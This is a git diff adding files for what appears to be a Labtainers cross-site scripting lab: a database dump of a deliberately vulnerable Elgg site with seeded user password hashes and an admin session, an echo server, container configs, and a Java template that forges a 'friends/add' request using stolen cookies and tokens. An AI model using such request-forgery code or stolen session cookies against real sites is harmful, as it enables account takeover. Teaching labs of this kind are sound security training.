`object_type` (`object_type`), + KEY `object_subtype` (`object_subtype`), + KEY `event` (`event`), + KEY `performed_by_guid` (`performed_by_guid`), + KEY `access_id` (`access_id`), + KEY `time_created` (`time_created`), + KEY `river_key` (`object_type`,`object_subtype`,`event`) +) ENGINE=MyISAM AUTO_INCREMENT=72 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_system_log` +-- + +LOCK TABLES `elgg_system_log` WRITE; +/*!40000 ALTER TABLE `elgg_system_log` DISABLE KEYS */; +INSERT INTO `elgg_system_log` VALUES (1,2,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(2,3,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(3,4,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(4,5,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(5,6,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(6,7,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(7,8,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(8,9,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(9,10,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(10,11,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(11,12,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(12,13,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(13,14,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(14,15,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(15,16,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(16,17,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(17,18,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(18,19,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(19,20,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(20,21,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(21,22,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(22,23,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(23,24,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(24,25,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(25,26,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(26,27,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(27,28,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(28,29,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(29,30,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(30,31,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(31,32,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(32,1,'ElggRelationship','relationship','active_plugin','create',0,0,2,'yes',1510271899,'172.25.0.3'),(33,23,'ElggRelationship','relationship','member_of_site','create',0,0,2,'yes',1510271931,'172.25.0.3'),(34,33,'ElggUser','user','','create',0,0,2,'yes',1510271931,'172.25.0.3'),(35,2,'ElggMetadata','metadata','notification:method:email','create',0,33,2,'yes',1510271931,'172.25.0.3'),(36,34,'ElggWidget','object','widget','create',0,33,0,'yes',1510271931,'172.25.0.3'),(37,35,'ElggWidget','object','widget','create',0,33,0,'yes',1510271931,'172.25.0.3'),(38,36,'ElggWidget','object','widget','create',0,33,0,'yes',1510271931,'172.25.0.3'),(39,37,'ElggWidget','object','widget','create',0,33,0,'yes',1510271931,'172.25.0.3'),(40,38,'ElggWidget','object','widget','create',0,33,0,'yes',1510271931,'172.25.0.3'),(41,33,'ElggUser','user','','make_admin',0,0,2,'yes',1510271931,'172.25.0.3'),(42,3,'ElggMetadata','metadata','validated','create',0,0,2,'yes',1510271931,'172.25.0.3'),(43,4,'ElggMetadata','metadata','validated_method','create',0,0,2,'yes',1510271931,'172.25.0.3'),(44,33,'ElggUser','user','','update',33,0,2,'yes',1510271931,'172.25.0.3'),(45,33,'ElggUser','user','','login',33,0,2,'yes',1510271931,'172.25.0.3'),(46,33,'ElggUser','user','','update',33,0,2,'yes',1510272591,'172.25.0.3'),(47,24,'ElggRelationship','relationship','member_of_site','create',33,0,2,'yes',1510272666,'172.25.0.3'),(48,39,'ElggUser','user','','create',33,0,2,'yes',1510272666,'172.25.0.3'),(49,5,'ElggMetadata','metadata','notification:method:email','create',33,39,2,'yes',1510272666,'172.25.0.3'),(50,39,'ElggUser','user','','update',33,0,2,'yes',1510272666,'172.25.0.3'),(51,6,'ElggMetadata','metadata','admin_created','create',33,39,2,'yes',1510272666,'172.25.0.3'),(52,7,'ElggMetadata','metadata','created_by_guid','create',33,39,2,'yes',1510272666,'172.25.0.3'),(53,25,'ElggRelationship','relationship','member_of_site','create',33,0,2,'yes',1510272705,'172.25.0.3'),(54,40,'ElggUser','user','','create',33,0,2,'yes',1510272705,'172.25.0.3'),(55,8,'ElggMetadata','metadata','notification:method:email','create',33,40,2,'yes',1510272705,'172.25.0.3'),(56,40,'ElggUser','user','','update',33,0,2,'yes',1510272705,'172.25.0.3'),(57,9,'ElggMetadata','metadata','admin_created','create',33,40,2,'yes',1510272705,'172.25.0.3'),(58,10,'ElggMetadata','metadata','created_by_guid','create',33,40,2,'yes',1510272705,'172.25.0.3'),(59,26,'ElggRelationship','relationship','member_of_site','create',33,0,2,'yes',1510272744,'172.25.0.3'),(60,41,'ElggUser','user','','create',33,0,2,'yes',1510272744,'172.25.0.3'),(61,11,'ElggMetadata','metadata','notification:method:email','create',33,41,2,'yes',1510272744,'172.25.0.3'),(62,41,'ElggUser','user','','update',33,0,2,'yes',1510272744,'172.25.0.3'),(63,12,'ElggMetadata','metadata','admin_created','create',33,41,2,'yes',1510272744,'172.25.0.3'),(64,13,'ElggMetadata','metadata','created_by_guid','create',33,41,2,'yes',1510272744,'172.25.0.3'),(65,27,'ElggRelationship','relationship','member_of_site','create',33,0,2,'yes',1510272762,'172.25.0.3'),(66,42,'ElggUser','user','','create',33,0,2,'yes',1510272762,'172.25.0.3'),(67,14,'ElggMetadata','metadata','notification:method:email','create',33,42,2,'yes',1510272762,'172.25.0.3'),(68,42,'ElggUser','user','','update',33,0,2,'yes',1510272762,'172.25.0.3'),(69,15,'ElggMetadata','metadata','admin_created','create',33,42,2,'yes',1510272762,'172.25.0.3'),(70,16,'ElggMetadata','metadata','created_by_guid','create',33,42,2,'yes',1510272762,'172.25.0.3'),(71,6,'ElggRelationship','relationship','active_plugin','delete',33,0,2,'yes',1510272992,'172.25.0.3'); +/*!40000 ALTER TABLE `elgg_system_log` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_users_apisessions` +-- + +DROP TABLE IF EXISTS `elgg_users_apisessions`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_users_apisessions` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `user_guid` bigint(20) unsigned NOT NULL, + `site_guid` bigint(20) unsigned NOT NULL, + `token` varchar(40) DEFAULT NULL, + `expires` int(11) NOT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `user_guid` (`user_guid`,`site_guid`), + KEY `token` (`token`) +) ENGINE=MEMORY DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_users_apisessions` +-- + +LOCK TABLES `elgg_users_apisessions` WRITE; +/*!40000 ALTER TABLE `elgg_users_apisessions` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_users_apisessions` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_users_entity` +-- + +DROP TABLE IF EXISTS `elgg_users_entity`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_users_entity` ( + `guid` bigint(20) unsigned NOT NULL, + `name` text NOT NULL, + `username` varchar(128) NOT NULL DEFAULT '', + `password` varchar(32) NOT NULL DEFAULT '', + `salt` varchar(8) NOT NULL DEFAULT '', + `email` text NOT NULL, + `language` varchar(6) NOT NULL DEFAULT '', + `code` varchar(32) NOT NULL DEFAULT '', + `banned` enum('yes','no') NOT NULL DEFAULT 'no', + `admin` enum('yes','no') NOT NULL DEFAULT 'no', + `last_action` int(11) NOT NULL DEFAULT '0', + `prev_last_action` int(11) NOT NULL DEFAULT '0', + `last_login` int(11) NOT NULL DEFAULT '0', + `prev_last_login` int(11) NOT NULL DEFAULT '0', + PRIMARY KEY (`guid`), + UNIQUE KEY `username` (`username`), + KEY `password` (`password`), + KEY `email` (`email`(50)), + KEY `code` (`code`), + KEY `last_action` (`last_action`), + KEY `last_login` (`last_login`), + KEY `admin` (`admin`), + FULLTEXT KEY `name` (`name`), + FULLTEXT KEY `name_2` (`name`,`username`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_users_entity` +-- + +LOCK TABLES `elgg_users_entity` WRITE; +/*!40000 ALTER TABLE `elgg_users_entity` DISABLE KEYS */; +INSERT INTO `elgg_users_entity` VALUES (33,'admin','admin','db4c8540eccd3f55fe0bf4dad0233052','syg7q84p','admin@here.com','en','','no','yes',1510273098,1510272993,1510271931,0),(39,'Alice','alice','028570fdf46d1e003090bdaa992b427c','Iedyj_S4','here@there.com','en','','no','no',0,0,0,0),(40,'Boby','boby','072e47d0d896eca1a6d23bbf41c80f93','jbHSKzlH','boby@seed.here','en','','no','no',0,0,0,0),(41,'Charlie','charlie','fd63939acf7b768044f1b4cb2bffab0e','I7SUvzWB','here@there.com','en','','no','no',0,0,0,0),(42,'Samy','samy','04500a568d3009d15aae00debb337efd','swwfxCpQ','sam@sam.com','en','','no','no',0,0,0,0); +/*!40000 ALTER TABLE `elgg_users_entity` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_users_sessions` +-- + +DROP TABLE IF EXISTS `elgg_users_sessions`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_users_sessions` ( + `session` varchar(255) NOT NULL, + `ts` int(11) unsigned NOT NULL DEFAULT '0', + `data` mediumblob, + PRIMARY KEY (`session`), + KEY `ts` (`ts`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_users_sessions` +-- + +LOCK TABLES `elgg_users_sessions` WRITE; +/*!40000 ALTER TABLE `elgg_users_sessions` DISABLE KEYS */; +INSERT INTO `elgg_users_sessions` VALUES ('voc1glcpnncnofpfkidn494oq4',1510273098,'__elgg_session|s:32:\"e339c72c0c1e16779f5f57a909be83de\";user|O:8:\"ElggUser\":8:{s:15:\"\0*\0url_override\";N;s:16:\"\0*\0icon_override\";N;s:16:\"\0*\0temp_metadata\";a:0:{}s:19:\"\0*\0temp_annotations\";a:0:{}s:24:\"\0*\0temp_private_settings\";a:0:{}s:11:\"\0*\0volatile\";a:0:{}s:13:\"\0*\0attributes\";a:25:{s:4:\"guid\";i:33;s:4:\"type\";s:4:\"user\";s:7:\"subtype\";s:1:\"0\";s:10:\"owner_guid\";s:1:\"0\";s:9:\"site_guid\";s:1:\"1\";s:14:\"container_guid\";s:1:\"0\";s:9:\"access_id\";s:1:\"2\";s:12:\"time_created\";s:10:\"1510271931\";s:12:\"time_updated\";s:10:\"1510272591\";s:11:\"last_action\";s:10:\"1510272993\";s:7:\"enabled\";s:3:\"yes\";s:12:\"tables_split\";i:2;s:13:\"tables_loaded\";i:2;s:4:\"name\";s:5:\"admin\";s:8:\"username\";s:5:\"admin\";s:8:\"password\";s:32:\"db4c8540eccd3f55fe0bf4dad0233052\";s:4:\"salt\";s:8:\"syg7q84p\";s:5:\"email\";s:14:\"admin@here.com\";s:8:\"language\";s:2:\"en\";s:4:\"code\";s:0:\"\";s:6:\"banned\";s:2:\"no\";s:5:\"admin\";s:3:\"yes\";s:16:\"prev_last_action\";s:10:\"1510272992\";s:10:\"last_login\";s:10:\"1510271931\";s:15:\"prev_last_login\";s:1:\"0\";}s:8:\"\0*\0valid\";b:0;}guid|i:33;id|i:33;username|s:5:\"admin\";name|s:5:\"admin\";msg|a:0:{}sticky_forms|a:0:{}'); +/*!40000 ALTER TABLE `elgg_users_sessions` ENABLE KEYS */; +UNLOCK TABLES; +/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; + +/*!40101 SET SQL_MODE=@OLD_SQL_MODE */; +/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; +/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; +/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; +/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; +/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; +/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; + +-- Dump completed on 2017-11-10 0:18:43 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/sys_tar/sys.tar b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/sys_tar/sys.tar new file mode 100644 index 000000000..93cd66bc6 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/sys_tar/sys.tar differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/HTTPSimpleForge/HTTPSimpleForge.java b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/HTTPSimpleForge/HTTPSimpleForge.java new file mode 100644 index 000000000..1352864f6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/HTTPSimpleForge/HTTPSimpleForge.java @@ -0,0 +1,53 @@ +import java.io.*; +import java.net.*; +public class HTTPSimpleForge { +public static void main(String[] args) throws IOException { +try { + int responseCode; + InputStream responseIn=null; + String requestDetails = "&__elgg_ts=<> &__elgg_token=<>"; + // URL to be forged. + URL url = new URL ("http://www.xsslabelgg.com/action/friends/add? friend=<>"+requestDetails); + // URLConnection instance is created to further parameterize a + // resource request past what the state members of URL instance + // can represent. + HttpURLConnection urlConn = (HttpURLConnection) url.openConnection(); + if (urlConn instanceof HttpURLConnection) { + urlConn.setConnectTimeout(60000); + urlConn.setReadTimeout(90000); + } + // addRequestProperty method is used to add HTTP Header Information. + // Here we add User-Agent HTTP header to the forged HTTP packet. + // Add other necessary HTTP Headers yourself. Cookies should be stolen + // using the method in task3. + urlConn.addRequestProperty("User-agent","Sun JDK 1.6"); + urlConn.setRequestMethod("GET"); + String cookies = "<>"; + urlConn.addRequestProperty("cookie", cookies); + + // HttpURLConnection a subclass of URLConnection is returned by + // url.openConnection() since the url is an http request. + if (urlConn instanceof HttpURLConnection) { + HttpURLConnection httpConn = (HttpURLConnection) urlConn; + // Contacts the web server and gets the status code from + // HTTP Response message. + responseCode = httpConn.getResponseCode(); + System.out.println("Response Code = " + responseCode); + // HTTP status code HTTP_OK means the response was + // received sucessfully. + if (responseCode == HttpURLConnection.HTTP_OK) + // Get the input stream from url connection object. + responseIn = urlConn.getInputStream(); + // Create an instance for BufferedReader + // to read the response line by line. + BufferedReader buf_inp = new BufferedReader( new InputStreamReader(responseIn)); + String inputLine; + while((inputLine = buf_inp.readLine())!=null) { + System.out.println(inputLine); + } + } +} catch (MalformedURLException e) { + e.printStackTrace(); +} +} +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/Makefile new file mode 100644 index 000000000..a3b3af973 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/Makefile @@ -0,0 +1,20 @@ +echoserv: echoserv.o helper.o + gcc -o echoserv echoserv.o helper.o -Wall + +echoserv.o: echoserv.c helper.h + gcc -o echoserv.o echoserv.c -c -ansi -pedantic -Wall + +helper.o: helper.c helper.h + gcc -o helper.o helper.c -c -ansi -pedantic -Wall + +clean: + rm *.o echoserv + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/README b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/README new file mode 100644 index 000000000..728e6d415 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/README @@ -0,0 +1,38 @@ +ECHOSERV +======== + +Function +======== + +Demonstrates a simple TCP/IP echo server, using the +Berkeley Sockets API. + + +Usage +===== + +Example of usage: + + [paul@localhost paul]$ ./echoserv 5555 & + [paul@localhost paul]$ telnet localhost 5555 + Trying 127.0.0.1... + Connected to localhost. + Escape character is '^]'. + Echo this line for me, please. + Echo this line for me, please. + Connection closed by foreign host. + [paul@localhost paul]$ + + +Installation +============ + +If your system supports make, simply type: + + make + +at the command line. Otherwise, compile and link echoserv.c and +help.c in the usual way to create the executable. You may or may +not need to link in additional libraries for the sockets functions; +check your compiler's documentation. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/echoserv b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/echoserv new file mode 100755 index 000000000..52a9832d3 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/echoserv differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/echoserv.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/echoserv.c new file mode 100644 index 000000000..9c22a5d9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/echoserv.c @@ -0,0 +1,114 @@ +/* + + ECHOSERV.C + ========== + Simple TCP/IP echo server. + +*/ + + +#include /* socket definitions */ +#include /* socket types */ +#include /* inet (3) funtions */ +#include /* misc. UNIX functions */ + +#include "helper.h" /* our own helper functions */ + +#include +#include + + +/* Global constants */ + +#define ECHO_PORT (2002) +#define MAX_LINE (1000) + + +int main(int argc, char *argv[]) { + int list_s; /* listening socket */ + int conn_s; /* connection socket */ + short int port; /* port number */ + struct sockaddr_in servaddr; /* socket address structure */ + char buffer[MAX_LINE]; /* character buffer */ + char *endptr; /* for strtol() */ + + + /* Get port number from the command line, and + set to default port if no arguments were supplied */ + + if ( argc == 2 ) { + port = strtol(argv[1], &endptr, 0); + if ( *endptr ) { + fprintf(stderr, "ECHOSERV: Invalid port number.\n"); + exit(EXIT_FAILURE); + } + } + else if ( argc < 2 ) { + port = ECHO_PORT; + } + else { + fprintf(stderr, "ECHOSERV: Invalid arguments.\n"); + exit(EXIT_FAILURE); + } + + + /* Create the listening socket */ + + if ( (list_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) { + fprintf(stderr, "ECHOSERV: Error creating listening socket.\n"); + exit(EXIT_FAILURE); + } + + + /* Set all bytes in socket address structure to + zero, and fill in the relevant data members */ + + memset(&servaddr, 0, sizeof(servaddr)); + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr = htonl(INADDR_ANY); + servaddr.sin_port = htons(port); + + + /* Bind our socket addresss to the + listening socket, and call listen() */ + + if ( bind(list_s, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0 ) { + fprintf(stderr, "ECHOSERV: Error calling bind()\n"); + exit(EXIT_FAILURE); + } + + if ( listen(list_s, LISTENQ) < 0 ) { + fprintf(stderr, "ECHOSERV: Error calling listen()\n"); + exit(EXIT_FAILURE); + } + + + /* Enter an infinite loop to respond + to client requests and echo input */ + + while ( 1 ) { + + /* Wait for a connection, then accept() it */ + + if ( (conn_s = accept(list_s, NULL, NULL) ) < 0 ) { + fprintf(stderr, "ECHOSERV: Error calling accept()\n"); + exit(EXIT_FAILURE); + } + + + /* Retrieve an input line from the connected socket + then simply write it back to the same socket. */ + + Readline(conn_s, buffer, MAX_LINE-1); + Writeline(conn_s, buffer, strlen(buffer)); + printf("%s",buffer); + + + /* Close the connected socket */ + + if ( close(conn_s) < 0 ) { + fprintf(stderr, "ECHOSERV: Error calling close()\n"); + exit(EXIT_FAILURE); + } + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/helper.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/helper.c new file mode 100644 index 000000000..7e27f60fe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/helper.c @@ -0,0 +1,78 @@ +/* + + HELPER.C + ======== + Implementation of sockets helper functions. + + Many of these functions are adapted from, inspired by, or + otherwise shamelessly plagiarised from "Unix Network + Programming", W Richard Stevens (Prentice Hall). + +*/ + +#include "helper.h" +#include +#include +#include + + +/* Read a line from a socket */ + +ssize_t Readline(int sockd, void *vptr, size_t maxlen) { + ssize_t n, rc; + char c, *buffer; + + buffer = vptr; + + for ( n = 1; n < maxlen; n++ ) { + + if ( (rc = read(sockd, &c, 1)) == 1 ) { + *buffer++ = c; + if ( c == '\n' ) + break; + } + else if ( rc == 0 ) { + if ( n == 1 ) + return 0; + else + break; + } + else { + if ( errno == EINTR ) + continue; + return -1; + } + } + + *buffer = 0; + return n; +} + + +/* Write a line to a socket */ + +ssize_t Writeline(int sockd, const void *vptr, size_t n) { + size_t nleft; + ssize_t nwritten; + const char *buffer; + + buffer = vptr; + nleft = n; + + while ( nleft > 0 ) { + if ( (nwritten = write(sockd, buffer, nleft)) <= 0 ) { + if ( errno == EINTR ) + nwritten = 0; + else + return -1; + } + nleft -= nwritten; + buffer += nwritten; + } + + return n; +} + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/helper.h b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/helper.h new file mode 100644 index 000000000..c37c7d1c0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/attacker/echoserver/helper.h @@ -0,0 +1,30 @@ +/* + + HELPER.H + ======== + Interface to socket helper functions. + + Many of these functions are adapted from, inspired by, or + otherwise shamelessly plagiarised from "Unix Network + Programming", W Richard Stevens (Prentice Hall). + +*/ + + +#ifndef PG_SOCK_HELP +#define PG_SOCK_HELP + + +#include /* for ssize_t data type */ + +#define LISTENQ (1024) /* Backlog for listen() */ + + +/* Function declarations */ + +ssize_t Readline(int fd, void *vptr, size_t maxlen); +ssize_t Writeline(int fc, const void *vptr, size_t maxlen); + + +#endif /* PG_SOCK_HELP */ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/config/about.txt new file mode 100644 index 000000000..2eeb259a6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/config/about.txt @@ -0,0 +1 @@ +Cross site scripting attacks on a vulnerable web server. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/config/start.config new file mode 100644 index 000000000..ba3a8525c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/config/start.config @@ -0,0 +1,128 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER vuln-site + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED vuln-site_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK SOME_NETWORK + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER vuln-site + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + SOME_NETWORK 172.25.0.2 + # + # Script name passed to the Docker start command. This defaults to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + +CONTAINER attacker + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals attackers to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + SOME_NETWORK 172.25.0.3 + # + # Script name passed to the Docker start command. This attackers to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + ADD-HOST www.XSSLabElgg.com:172.25.0.2 + ADD-HOST XSSLabElgg.com:172.25.0.2 + # + # Mount Linux host X11 server socket for use by GUI-app in container. + X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + +CONTAINER victim + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + SOME_NETWORK 172.25.0.4 + ADD-HOST www.XSSLabElgg.com:172.25.0.2 + ADD-HOST XSSLabElgg.com:172.25.0.2 + X11 YES + # + # The number of terminals victims to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This victims to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/dockerfiles/Dockerfile.xsite.attacker.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/dockerfiles/Dockerfile.xsite.attacker.student new file mode 100644 index 000000000..b1601005a --- /dev/null +++ 